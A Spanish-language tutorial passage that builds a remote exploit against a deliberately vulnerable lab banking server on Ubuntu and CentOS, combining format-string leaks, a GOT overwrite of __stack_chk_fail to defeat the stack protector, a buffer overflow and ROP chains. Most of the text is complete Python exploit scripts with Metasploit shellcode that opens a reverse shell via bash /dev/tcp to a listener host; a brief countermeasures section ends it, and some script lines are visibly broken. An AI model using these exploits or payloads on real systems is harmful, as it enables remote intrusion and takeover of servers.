Que mueve rbp a rsp, y desapila rbp. Después de leaveq se ejecutará la instrucción retq, que coloca en rip el valor de rsp, con lo que tenemos controlado el puntero a la siguiente instrucción (rip).

Antes de continuar vamos a plantear exactamente nuestros objetivos:

1) Desarmar el sistema de autentificación

2) Usar la opción 2 para el cambio de nombre de usuario

3) Enviar un nombre mas largo de 100 bytes para sobrescribir el registro RBP con la dirección del primer gadget ROP

4) Mediante ROP y Return into LibC abrir una shell inversa a la IP 192.168.123.1 en el puerto 8080

El primer objetivo ya lo tenemos resuelto, así que la siguiente tarea importante es conocer a partir de que offset llegamos a inyectar bytes útiles en el registro RBP. Para calcularlo primero generamos un patrón lo suficientemente grande, capaz de provocar el error de segmentación. Nos apoyamos en el script ruby que viene con la framework de metasploit, igual que hicimos en primer artículo sobre ROP.

```
$ruby /usr/lib64/metasploit4.4/tools/pattern_create.rb 200
```

```
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0
Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2A
g3Ag4Ag5Ag
```

Vamos a adaptar el script anterior para realizar el desbordamiento con el patrón que acabamos de generar. Después arrancaremos el servidor dentro del depurador para provocar el fallo de segmentación y podremos calcular de forma sencilla en que momento se empieza a sobrescribir RBP. Para lograr completar el ataque necesitaremos conocer la dirección donde se encuentra LibC y el descriptor de fichero del socket que maneja la conexión de cliente. La dirección de LibC la sacamos localizando, en indices.txt, un índice que contenga una dirección de memoria que no cambie entre iteraciones. Al localizar un índice con esta propiedad podemos establecer un offset hasta LibC y calcular donde se encuentra la librería. Conociendo donde está la LibC, podemos calcular la posición de los gadget ROP sumando el offset del gadget dentro de LibC a la dirección donde se encuentra la librería. Para localizar el descriptor de fichero de la conexión lanzamos el script get_index.py cuando tenemos un par de clientes conectados a la aplicación, veremos con facilidad el incremento de uno de los índices, si normalmente nos devuelve un valor como 0x50000000, con dos clientes conectados tendremos 0x700000000, haciendo evidente donde se encontrar el descriptor de fichero asociado. Tanto para Ubuntu como para CentOS el índice que contiene el descriptor de fichero es %6$p. Para no extendernos mucho mas con ejemplos de código, vamos a ir preparando el script final encargado de ejecutar todo el ataque. Necesitamos una cadena de formato que recupere los valores para calcular la dirección de LibC, el descriptor de fichero de la conexión y de la dirección de la variable res. Empezamos por atacar la Ubuntu, así que buscamos un índice con una dirección que no cambie entre iteraciones. Localizamos una en el índice %274$p. La cadena de formato con la que recuperaremos toda la información necesaria queda :

%274$p-%1$p-%6$p
(1)-(2)-(3)

Con (1) deduciremos donde se encuentra LibC sumando un offset de *0x3C6E9A*, en (2) calcularemos donde está la variable res comando un offset de 0xC y con (3) obtendremos el descriptor de fichero asociado al socket. Al entrar una cadena de formato larga, va a obligarnos a empujar con mas relleno la cadena de formato encargada de escribir en la pila el cambio de la variable res. Para conseguir que la alineación sea correcta podríamos usar la siguiente cadena:

'%40x' + dirección_res + '%142$n'

Pero en realidad, %40x de relleno aún será bajo; Ubuntu nos tiene preparada una sorpresa adicional y es que debemos enfrentarnos al stack-protector de gcc. Si lanzamos el ataque por desbordamiento sin deshabilitar esta protección nos encontraremos que el servidor se detiene con un error de segmentación y no podremos sobrescribir el registro RBP.

```
Res está en 0x7fa3cbb79694 con valor -1
*** stack smashing detected ***: ./bancored terminated
Segmentation fault (core dumped)
```

Vamos a analizar el ensamblador de la función cambiarnombre(). Justo antes de ejecutar las instrucciones leaveq y retq nos encontramos con la llamada a esta función:

```
0x00000000004015af <+223>:          callq  0x400ad0 <__stack_chk_fail@plt>
```

La función __stack_chk_fail() se encarga de comprobar el valor de canary e interrumpir la ejecución del programa si éste ha sido alterado por una sobrescritura. Para enfrentarnos con esta restricción usaremos las cadenas de formato. Lo que haremos es alterar el valor que apunta a __stack_chk_fail en la tabla Global Offset Table, que es la encargada de gestionar donde encontramos las direcciones efectivas para las llamadas de función. GOT es un área de lectura/escritura, así que la intención es cambiar apuntador en la tabla GOT por una dirección donde se encuentre una instrucción retq, igual que hacemos en los ataques ROP. Veamos como articular esto; Primero desensamblamos el binario y localizamos en que dirección de la GOT encontramos el apuntador a __stack_chk_fail:

```
$objdump -D

.
.
0000000000400ad0 <__stack_chk_fail@plt>:
  400ad0:       ff 25 6a 25 20 00       jmpq   *0x20256a(%rip)        # 603040 <_GLOBAL_OFFSET_TABLE_+0x58>
  400ad6:       68 08 00 00 00          pushq  $0x8
  400adb:       e9 60 ff ff ff          jmpq   400a40 <_init+0x20>
.
.
```

Con esto ya sabemos que irá a buscar la dirección de la función en el registro 603040. Si cambiamos el apuntador de 603040 a una dirección con un retq anularemos la comprobación y la ejecución continuará. Vamos a consultar donde apunta 603040 sin alteraciones:

```
(gdb) start
(gdb) x/x 0x603040
0x603040 <__stack_chk_fail@got.plt>:             0x00400ad6
```

Ahora necesitamos la dirección de un retq en el que apoyarnos, así que lo buscamos en el desensamblado del binario. Encontramos el primer retq :

```
$objdump -D bancored
.
.
400a37:    c3                retq
.
.
```

Ya tenemos los datos necesarios. Nuestro objetivo es modificar la parte alta del registro de la tabla GOT 603040 que contiene 400ad6 para que apunte a 400a37, que contiene un retq. Para lograr esto usaremos la siguiente cadena de formato.

```
sts = '403060'
sts = '%48x' + binascii.a2b_hex(sts) + '%143$hhn' + '%4x' + '%143$hhn'
```

Como la parte alta del registro 603040 es ad6, nos las hemos ingeniado para cambiar solo d6 por 37. Para eso no valemos del siguiente cálculo :

(30) 48 decimal es 30 en hexadecimal
+
(3) 3 bytes de la dirección
+
(4) 4 en decimal que es 4 en hexadecimal
= 37

Usando el modificador hhn de la cadena de formato podemos alterar solo la parte alta del registro, el modificador h afecta a ad6, el modificador hh afecta a d6. Con esto logramos alterar el valor del registro 603040 para que contenga 400a37, transformando de esta forma la llamada a la función __stack_chk_fail en un retq. Un daño colateral es que hemos usado una cadena de formato adicional para inutilizar el protector de pila, y eso nos obliga a añadir otros 16 bytes adicionales de relleno e incrementar nuestro índice cuando vamos a modificar la variable res. Finalmente nuestro ataque por cadenas de formato para Ubuntu queda estructurado en tres fases:

1) Recuperamos información (libc-res-fd)

%274$p-%1$p-%6$p

2) Vulneramos el stack-prtorector (603040 → 400a37 : retq)

'%48x' + dirección GOT de stack-protector + '%143$hhn' + '%4x' + '%143$hhn'

3) Vulneramos la variable res (res → 0x46 : 70)

'%64x' + dirección de res + '%145$n'

Con este ajuste ya podemos provocar la sobrescritura sin que se detenga la ejecución del programa y calcular el relleno que necesitamos antes de la sobrescritura de RBP. Codificamos el ataque con sobrescritura para Ubuntu:

```
#!/usr/bin/python
# coding=utf8

import socket
import time
import re
import sys
import binascii
import subprocess
import os
import signal
from struct import pack

HOST = '192.168.123.100'
PORT = 1234
print 'Lanzamos la primera conexión'

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((HOST, PORT))
except:
	os.kill(p, signal.SIGKILL)
	sys.exit()

sts = '%274$p-%1$p-%6$p'

s.send(sts)
time.sleep(0.5)
data = s.recv(1024)

for line in data.split('\n'):
	if line.find('0x')!=-1:

		resp = re.findall('0x.+',line)
		resp = resp[0].split('-')

		print 'Calculamos dirección de libc\n'
		print 'Esprunjeada :' + resp[0] + '\n'
		libc = int(resp[0],16) - 0x3C6E9A
		print 'Libc está en : ' + hex(libc) + '\n'

		print 'Calculamos dirección de res\n'
		print 'Esprunjeada :' + resp[1] + '\n'

		varres = int(resp[1],16) - 0xC
		print 'La variable res estrá en : ' + hex(varres) + '\n'

		fd = re.findall('0x[0-9,a-z]+',resp[2])
		fd = int(fd[0][:-8],16)
		print 'El desciptor de fichero es : ' + hex(fd) + '\n'


s.send(sts) 'Vulneramos el sistema de protección de stack'
printsts = '403060'
sts = '%48x' + binascii.a2b_hex(sts) + '%143$hhn' + '%4x' + '%143$hhn'
s.send(sts)

print 'Vulneramos el sistema de credenciales mediante cadenas de formato\n'
sts = re.findall(r'..',hex(varres)[2::])[::-1]
sts = ''.join(sts)
sts = '%64x' + binascii.a2b_hex(sts) + '%145$n'
s.send(sts)

time.sleep(0.2)
data = s.recv(1024)
print data

print 'Opcion de renombrado'
op='2'
s.send(op)
time.sleep(0.5)
data = s.recv(1024)
print data

junk =
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad
4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
s.send(junk)
```

Arrancamos el servidor dentro del depurador y lanzamos el ataque para provocar el desbordamiento y el error de segmentación.

```
(gdb) start
(gdb) c
Continuing.
Socket creado
bind realizado
Esperando peticiones...
Aceptamos la conexión
[New Thread 0x7ffff77fd700 (LWP 6470)]
manejador de conexión asignado
Res está en 0x7ffff77fc694 con valor -1

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff77fd700 (LWP 6470)]
0x00000000004015b5 in cambiarnombre (sock=8, res=70) at bancomalo-red.c:169
169         }
```

Veamos como ha quedado el registro RBP antes del error de segmentación

```
(gdb) p (char[])$rbp
$1 = "d7Ad8Ad9"
```

Como vemos en RBP tenemos parte del patrón que hemos enviado, y con esto podemos calcular fácilmente relleno que necesitamos antes de empezar a sobrescribir el registro. Seleccionamos el patrón hasta donde ha llegado la escritura y contamos en número de caracteres:

```
$echo
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0
Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9 | wc
```

El comando nos devuelve:

```
1      1     121
```

El byte 121 es el primero que ha sobrescrito RBP, así que ya sabemos que tenemos que usar un relleno de 120 caracteres antes de nuestra primera dirección de un gadget ROP.

CentOS: Desbordamiento sin Stack Protector

Adaptamos el script para encontrar el relleno necesario antes de la sobrescritura de RBP. Los cambios necesarios son :

La IP del host:

```
HOST=192.168.123.101
```

La cadena de formato para recoger la información:

```
sts = '%295$p-%1$p-%6$p'
```

El offset hasta LibC:

```
libc = int(resp[0],16) – 0x3A4200
```

El offset a res:

```
varres = int(resp[1],16) – 0x404
```

Anulamos la parte de contra la protección de la pila:

```
#sts = '403060'
#sts = '%48x' + binascii.a2b_hex(sts) + '%143$hhn' + '%4x' + '%143$hhn'
#s.send(sts)
```

Cadena de formato para alterar la variable res:

```
sts = '%40x' + binascii.a2b_hex(sts) + '%14$n'
```

Ya tenemos adaptado el script para CentOS, arrancamos el servidor con el depurador y lanzamos el ataque. Analizamos la salida del depurador en el momento del error de segmentación:

```
(gdb) start
(gdb) c
Continuing.
Socket creado
bind realizado
Esperando peticiones...
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff782c700 (LWP 5938)]
0x0000000000401384 in cambiarnombre (sock=can't compute CFA for this frame
) at bancomalo-red.c:169
169         }
```

Mostramos el contenido de RPB en el momento del error

```
(gdb) p (char[])$rbp
$1 = "2Ae3Ae4A"
```

Contamos el relleno necesario antes del primer gadget ROP:

```
echo
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8A
c9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4A | wc
      1       1     137
```

Necesitamos 136 bytes de relleno antes de iniciar el ataque ROP.

Preparamos el ataque ROP

Ya tenemos casi todos los elementos que nos hacen falta. Recordemos los objetivos :

1) Desarmar el sistema de autentificación

2) Usar la opción 2 para el cambio de nombre de usuario

3) Enviar un nombre mas largo de 100 bytes para sobrescribir el registro RBP con la dirección del primer gadget ROP

4) Mediante ROP y Return into LibC abrir una shell inversa a la IP 192.168.123.1 en el puerto 8080

Nos queda confeccionar el ataque ROP, encontrar los gadgets necesarios en LibC y generar el shellcode que abra la shell remota. El ataque ROP será el mismo que usamos el el primer documento sobre ROP, vamos a repasar todas las fases del ataque en un diagrama:

CLIENTE		**SERVIDOR**
Cadena de formato (libc/res/descriptor)	→	función banco() : primer intento
	←	función banco() : segundo intento
* Cadena de formato contra el stack protector	→	
	←	* función banco() : tercer intento
Cadena de formato que altera la variable res	→	(res > 0)
	←	función operaciones()
Opción 2 : “Cambiar Nombre”	→	función cambiarnombre()
	←	¿ Nuevo nombre ?
Enviamos relleno + ataque ROP	→	Overflow y sobrescritura RBP
		ROP->mmap(dirección|RWX)
		ROP->read(dirección : descriptor de fichero del socket)
Enviamos Shellcode	→	
		ROP->jmp(shellcode)
	←	Shell inversa en 192.168.123.1 puerto 8080
SHELL	↔	SHELL

* solo en Ubuntu

Vamos a repasar los valores que debemos tener en los registros para las llamadas a las funciones mmap() y read() que realizamos vía ROP:

Para la llamada a mmap():

rax=dirección_válida; **rdi**=0x13370000; **rcx**=0x31;**rdx**=0x7;**rsi**=0x1000;**r8d**=0xffffffff;**r9d**=0x0

Para la llamada a read():

rdi=desciptor_socket;**rdx**=0x1000;**rsi**=0x13370000

Para localizar los gadget dentro de LibC, nos hemos apoyado en ropeme, igual que hicimos en el primer artículo sobre ROP. En general usamos gadgets evidentes como instrucciones pop sobre un registro, pero de nuevo nos encontramos con un problema para colocar a 0x0 el registro r9d y 0xffffffff el registro r8d. Para solventarlo en Ubuntu hemos usado un par de estrategias:

La primera: para poner r9d a 0x0 hemos usado dos gadget, el primero nos permite poner r15d a 0x0 con una instrucción pop, el segundo mueve el valor de r15d a r9d, pero después resta 0x77 a RAX, que nos obliga a asegurarnos que RAX tenga un valor con una dirección válida. En nuestro caso hemos forzado con una instrucción pop RAX al valor de LibC.

Este es el gadget que cambia el valor de r15d a r9d:

```
xchg r9d r15d
dec dword [rax-0x77]
retq
```

La segunda: Para mover 0xffffffff a r8d usamos tres gadgets. Primero movemos 0xffffffff al registro r10d con un pop, movemos r10d a r8d con un segundo gadget.

```
mov r8d r10d
add rsp 0x8
retq
```

Pero como podemos ver suma 0x8 a RSP, así que tenemos que remediarlo con un tercer gadget que reste esos a RSP exactamente esos 0x80

```
sub rsp -0x80
pop rbx
retq
```

Para generar el shellcode nos apoyamos en metasploit.

```
./msfconsole
msf > use payload/linux/x64/exec
msf > set CMD bash -c \"bash -i 1>&/dev/tcp/192.168.123.1/8080 0>&1\"
msf > generate
```

Ubuntu, que su shell por defecto es dash y no bash, hemos tenido que llamar explícitamente a bash para las las redirecciones a dev/tcp funcionen.

Este es el aspecto final del exploit para Ubuntu:

```
#!/usr/bin/python
# coding=utf8

import socket
import time
import re
import sys
import binascii
import subprocess
import os
import signal
from struct import pack

HOST = '192.168.123.100'
PORT = 1234

# linux/x64/exec - 93 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=bash -c "bash -i
# 1>&/dev/tcp/192.168.123.1/8080 0>&1"

SC = (
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" +
"\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8" +
"\x36\x00\x00\x00\x62\x61\x73\x68\x20\x2d\x63\x20\x22\x62" +
"\x61\x73\x68\x20\x2d\x69\x20\x31\x3e\x26\x2f\x64\x65\x76" +
"\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31" +
"\x32\x33\x2e\x31\x2f\x38\x30\x38\x30\x20\x30\x3e\x26\x31" +
"\x22\x00\x56\x57\x48\x89\xe6\x0f\x05"
)

p = subprocess.Popen(['xterm', '-e','nc -l -p 8080']).pid


print 'Lanzamos la primera conexión'

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
except:
        os.kill(p, signal.SIGKILL)
        sys.exit()

sts = '%274$p-%1$p-%6$p'

s.send(sts)
time.sleep(0.5)
data = s.recv(1024)

for line in data.split('\n'):
        if line.find('0x')!=-1:

                resp = re.findall('0x.+',line)
                resp = resp[0].split('-')

                print 'Calculamos dirección de libc\n'
                print 'Esprunjeada :' + resp[0] + '\n'
                libc = int(resp[0],16) - 0x3C6E9A
                print 'Libc está en : ' + hex(libc) + '\n'

                print 'Calculamos dirección de res\n'
                print 'Esprunjeada :' + resp[1] + '\n'

                varres = int(resp[1],16) - 0xC
                print 'La variable res estrá en : ' + hex(varres) + '\n'
```

```
                        fd = re.findall('0x[0-9,a-z]+',resp[2])
                        fd = int(fd[0][:-8],16)
                        print 'El desciptor de fichero es : ' + hex(fd) + '\n'

sts = '403060'
sts = '%48x' + binascii.a2b_hex(sts) + '%143$hhn' + '%4x' + '%143$hhn'
s.send(sts)

time.sleep(0.2)
data = s.recv(1024)
print data

print 'Vulneramos el sistema de credenciales mediante cadenas de formato\n'

sts = re.findall(r'..',hex(varres)[2::])[::-1]
sts = ''.join(sts)

sts = '%.64x' + binascii.a2b_hex(sts) + '%145$n'

s.send(sts)
time.sleep(0.2)
data = s.recv(1024)
print data

print 'Opcion de renombrado'
op='2'
s.send(op)
time.sleep(0.5)
data = s.recv(1024)
print data

junk = 'A'*120

#Rop Gadgets
xchg = libc +  0x867d7      #xchg r9d r15d ; dec dword [rax-0x77]
popr15 = libc + 0x229f1
poprax = libc + 0x23950
poprsi = libc + 0x23d25
poprcx = libc + 0xd8973
poprdx = libc + 0x1b8a
poprdi = libc + 0x229f2
popr10 = libc + 0x1019d4
r10r81 = libc + 0x12e8e2   #mov r8d r10d ; add rsp 0x8
r10r82 = libc + 0x116f7f    #sub rsp -0x80 ; pop rbx
jmprax = libc + 0x6f2e3

#Llamadas de funcion
mmap = libc + 0xf0070
read = 0x400b20

rop = junk
rop += pack('<Q', popr15)
rop += pack('<Q', 0x0)
rop += pack('<Q', poprax)
rop += pack('<Q', libc)
rop += pack('<Q', xchg)
rop += pack('<Q', poprcx)
rop += pack('<Q', 0x31)
rop += pack('<Q', poprdx)
rop += pack('<Q', 0x7)
rop += pack('<Q', poprsi)
rop += pack('<Q', 0x1000)
rop += pack('<Q', poprdi)
rop += pack('<Q', 0x13370000)
rop += pack('<Q', popr10)
rop += pack('<Q', 0xffffffff)
rop += pack('<Q', r10r81)
rop += pack('<Q', r10r82)
rop += pack('<Q', mmap)
```

```
rop += pack('<Q', poprdi)
rop += pack('<Q', fd)
rop += pack('<Q', poprdx)
rop += pack('<Q', 0x1000)
rop += pack('<Q', poprsi)
rop += pack('<Q', 0x13370000)
rop += pack('<Q', read)
rop += pack('<Q', poprax)
rop += pack('<Q', 0x13370000)
rop += pack('<Q', jmprax)

print 'Enviamos desbordamiento de buffer y ataque ROP'

s.send(rop)
time.sleep(0.1)

print 'Ataque relizado, cargamos shellcode via red'
s.send(SC)
s.close()
```

En CentOS el ataque ROP queda muy parecido :

```
rop += pack('<Q', poprdi)
rop += pack('<Q', 0x13370000)
rop += pack('<Q', r920)
rop += pack('<Q', popr10)
rop += pack('<Q', 0xffffffff)
rop += pack('<Q', r10r8)
rop += pack('<Q', r10r82)
rop += pack('<Q', poprcx)
rop += pack('<Q', 0x31)
rop += pack('<Q', poprdx)
rop += pack('<Q', 0x7)
rop += pack('<Q', poprsi)
rop += pack('<Q', 0x1000)
rop += pack('<Q', mmap)
rop += pack('<Q', poprdi)
rop += pack('<Q', fd)
rop += pack('<Q', poprdx)
rop += pack('<Q', 0x1000)
rop += pack('<Q', poprsi)
rop += pack('<Q', 0x13370000)
rop += pack('<Q', read)
rop += pack('<Q', poprax)
rop += pack('<Q', 0x13370000)
rop += pack('<Q', jmprax)
```

Para mover 0xffffffff a r8 usamos los mismos dos gadgets, pero para mover 0x0 a r9 hemos tenido que usar un gadeget (r920) como el siguiente :

```
#0x416d5L: mov r9 [rsi+0x30] ; mov rsi [rsi+0x70] ; xor eax eax ;;
```

Por suerte, el registro rsi al llegar al gadget contiene 0x602e4b y si a ese valor sumamos 0x30 o 0x70 el resultado de la dirección donde apunta es 0x0000000000000000, permitiéndonos fijar r9 a 0x0. Si 0x602e4b + 0x30 o 0x70 apuntaran a valores distintos de 0, siempre podríamos buscar una zona de memoria llena de ceros para forzar rsi para que se cumpliera. Pero para el caso que nos ocupa observamos :

```
(gdb) x 0x602e4b+0x30
0x602e7b:       0x0000000000000000

(gdb) x 0x602e4b+0x70
0x602ebb:       0x0000000000000000
```

Estamos en disposición de escribir el exploit para CentOS :

```
#!/usr/bin/python
# coding=utf8

import socket
import time
import re
import sys
import binascii
import subprocess
import os
import signal
from struct import pack

HOST = '192.168.123.101'
PORT = 1234

# linux/x64/exec - 93 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=bash -c "bash -i
# 1>&/dev/tcp/192.168.123.1/8080 0>&1"
SC = (
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" +
"\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8" +
"\x36\x00\x00\x00\x62\x61\x73\x68\x20\x2d\x63\x20\x22\x62" +
"\x61\x73\x68\x20\x2d\x69\x20\x31\x3e\x26\x2f\x64\x65\x76" +
"\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31" +
"\x32\x33\x2e\x31\x2f\x38\x30\x38\x30\x20\x30\x3e\x26\x31" +
"\x22\x00\x56\x57\x48\x89\xe6\x0f\x05"
)

p = subprocess.Popen(['xterm', '-e','nc -l -p 8080']).pid
print 'Lanzamos la primera conexión'

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((HOST, PORT))
except:
	os.kill(p, signal.SIGKILL)
	sys.exit()

sts = '%295$p-%1$p-%6$p'

s.send(sts)
time.sleep(0.5)
data = s.recv(1024)

print data

for line in data.split('\n'):
	if line.find('0x')!=-1:

		resp = re.findall('0x.+',line)
		resp = resp[0].split('-')


		print 'Calculamos dirección de libc\n'
		print 'Esprunjeada :' + resp[0] + '\n'
		libc = int(resp[0],16) - 0x3A4200
		print 'Libc está en : ' + hex(libc) + '\n'

		print 'Calculamos dirección de res\n'
		print 'Esprunjeada :' + resp[1] + '\n'

		varres = int(resp[1],16) - 0x404
		print 'La variable res estrá en : ' + hex(varres) + '\n'
```

```
print 'Vulneramos el sistema de credenciales mediante cadenas de formato\n'

sts = re.findall(r'..',hex(varres)[2::])[::-1]
sts = ''.join(sts)

sts = '%40x' + binascii.a2b_hex(sts) + '%14$n'

s.send(sts)
time.sleep(0.2)
data = s.recv(1024)
print data

print 'Opcion de renombrado'
op='2'
s.send(op)
time.sleep(0.5)
data = s.recv(1024)
print data

#Funciones
mmap = libc + 0xe5490
read = 0x400a50

junk = 'A'*136

#Gadgets ROP
poprdi = libc + 0x202b8
poprbp = libc + 0x20574
poprsp = libc + 0x3724
poprax = libc + 0x1c778
poprcx = libc + 0xe5946
poprdx = libc + 0x1b8a
poprsi = libc + 0x21525
popr10 = libc + 0xf80b7
r10r8 = libc + 0x123cf2       #0x123cf2L: mov r8d r10d ; add rsp 0x8 ;;
r10r82 = libc + 0x11972a    #0x11972aL: sub rsp -0x80 ; pop rbx ;;
r920 = libc + 0x416d5 #0x416d5L: mov r9 [rsi+0x30] ; mov rsi [rsi+0x70] ; xor eax eax ;;
jmprax = libc + 0x11574d

rop = junk
rop += pack('<Q', poprdi)
rop += pack('<Q', 0x13370000)
rop += pack('<Q', r920)
rop += pack('<Q', popr10)
rop += pack('<Q', 0xffffffff)
rop += pack('<Q', r10r8)
rop += pack('<Q', r10r82)
rop += pack('<Q', poprcx)
rop += pack('<Q', 0x31)
rop += pack('<Q', poprdx)
rop += pack('<Q', 0x7)
rop += pack('<Q', poprsi)
rop += pack('<Q', 0x1000)
rop += pack('<Q', mmap)
rop += pack('<Q', poprdi)
rop += pack('<Q', fd)
rop += pack('<Q', poprdx)
rop += pack('<Q', 0x1000)
rop += pack('<Q', poprsi)
rop += pack('<Q', 0x13370000)
rop += pack('<Q', read)
rop += pack('<Q', poprax)
rop += pack('<Q', 0x13370000)
rop += pack('<Q', jmprax)

s.send(rop)
time.sleep(0.1)
print 'Ataque relizado, cargamos shellcode via red'
s.send(SC)
s.close()
```

Contra-medidas

Podemos parar este ataque compilando la aplicación con las flag del compilador :

```
gcc -o bancored -02 -D_FORTIFY_SOURCE=2 bancomalo-red.c
```

Estas banderas añaden unas restricciones adicionales :

No se nos permite el acceso directo a los índices sin haber consultado los otros, es decir, no podemos usar un índice como %240$p sin consultar los 239 anteriores auqnue no sea de forma ordenada.

Aparte de eso se implementa una restricción en la cadena %n que nos permite cambiar los valores en la pila. Ahora la aplicación, si encuentra este modificador terminará la ejecución del programa con un mensaje como :

```
*** %n in writable segment detected ***
```

Estas restricciones están vulneradas para arquitecturas de 32 bits como propone Captain Planet en artículo que está en : Volume 0x0e, Issue 0x43, Phile #0x09 of 0x10 de la Phrack Magazine, que podemos encontrar aquí :

`http://www.phrack.org/issues.html?issue=67&id=9`

En arquitecturas de 64 bits la técnica es complicada de adaptar, pero nada es imposible, así que seguro que en algún momento alguien dará con una forma de vulnerar estas restricciones y dejarían de ser efectivas aunque vinieran implementadas de base con el sistema operativo como nos hemos encontrado en Ubuntu y stack protector.